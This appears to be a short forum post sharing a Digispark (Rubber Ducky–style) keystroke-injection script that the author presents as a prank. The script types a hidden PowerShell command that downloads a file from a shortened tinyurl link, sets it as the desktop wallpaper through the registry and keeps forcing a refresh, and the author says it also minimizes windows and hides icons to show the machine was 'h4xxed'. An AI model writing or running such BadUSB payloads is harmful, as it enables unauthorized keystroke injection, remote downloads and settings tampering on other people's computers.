I don't (yet) own a Rubber Ducky, but i just got a Digispark in the mail and decided to play hackerman a little, my first script is basically a copy of a powershell command i've seen on Hak5 some time ago, it changes the wallpaper, then minimizes everything and hides the desktop icons to proudly show that you've been h4xxed.
Note: It will probably lot work with a US win, it's made with a PT installation in mind.
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STRING cmd /C "start /MIN powershell iwr -Uri http://tinyurl.com/y3ncs96x -OutFile c:\windows\temp\b.jpg;sp 'HKCU:Control Panel\Desktop' WallPaper 'c:\windows\temp\b.jpg';$a=1;do{RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True;sleep 1}while($a++-le59)"
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ENTER
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SHIFT F10
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